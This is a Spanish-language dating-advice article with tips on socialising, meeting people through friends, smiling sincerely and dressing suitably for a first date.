Hace algunos días escuché a un amigo que decía: “no he conseguido a nadie, jamás he tenido una pareja, por el simple motivo de que soy muy complicado, no tengo una vida normal y soy muy difícil de aceptar”, bueno, la verdad es que el chiquillo era completamente corriente, vestía como los demás y tenía las mismas posibilidades que todos, así que en mi concepto el problema no estaba allí, sino en su falta se socialismo.

Y eso último es nuestro primer punto, socializar: si te quedas en casa pensando en quien te quiere y en quien no, déjame decirte que jamás encontrarás a nadie, no por el hecho de deshojar margaritas con el “si me quiere, no me quiere”, vas a encontrar a alguien. Por lo cual debes salir un poco, visitar por ejemplo un bar donde abundan las personas sin compromisos, aquellos que se sientan en las barras y piden un par de tragos con melancolía y luego se van sin más. Acércate un poco y entabla una patica con sutilidad, intenta conocer a esa otra persona, y quizás no encuentres exactamente un posible candidato a “pareja”, pero talvez encuentres a un amigo que comparta tu problema.

Los amigos del novio de tu mejor amiga: O en caso contrario si eres hombre. Pídele que los invite a una reunión en tu casa cierto día y que lleve un par de los amigos de su novio, así tendrás la oportunidad de conocer gente de tu edad y contarás con un par de buenas opciones. Lo primero que debes saber de ellos es que siempre hay un idiota que solo querrá coquetearte como lo hace con las demás (aplica también desde el otro bando), en el otro puedes encontrar dos cosas: que ya tenga pareja, o que en realidad quiera platicar un rato contigo.

Una sonrisa: Independientemente de si eres hombre o mujer, debes tener por seguro que una sonrisa será tu mejor arma a la hora de conquistar. Ya sabemos que los demás aspectos físicos son muy importantes y por instinto los tenemos siempre presentes, el tema radica en que la forma de sonreír dice mucho de ti: la ternura, la sinceridad, el optimismo, y esta no debe ser fingida jamás, así que si de pronto alguien dice algo gracioso y entras en un ataque de risa sin control, hazlo con toda confianza, de seguro eso le agradará al otro.

¿Conseguiste una cita? ¡Prepárate!: Bueno, al fin. Olvídate de las decepciones amorosas del pasado y de los fracasos en tus anteriores citas, en esta lo único que tienes que hacer es parecer normal: ve al closet y consigue una vestimenta adecuada, por ejemplo si vas al cine, no lleves traje (hombres) o un vestido de seda (mujeres), trata de que los zapatos combinen, y no vayas a comprar absolutamente nada pues te dará la tentación de aparentar más de lo que eres, lo que en definitiva será completamente fatal. Lleva una loción para el cuerpo suave, que no sea invasiva ni toxica, habla con cordialidad y amabilidad y trata de disfrutarlo todo, solo confía en ti.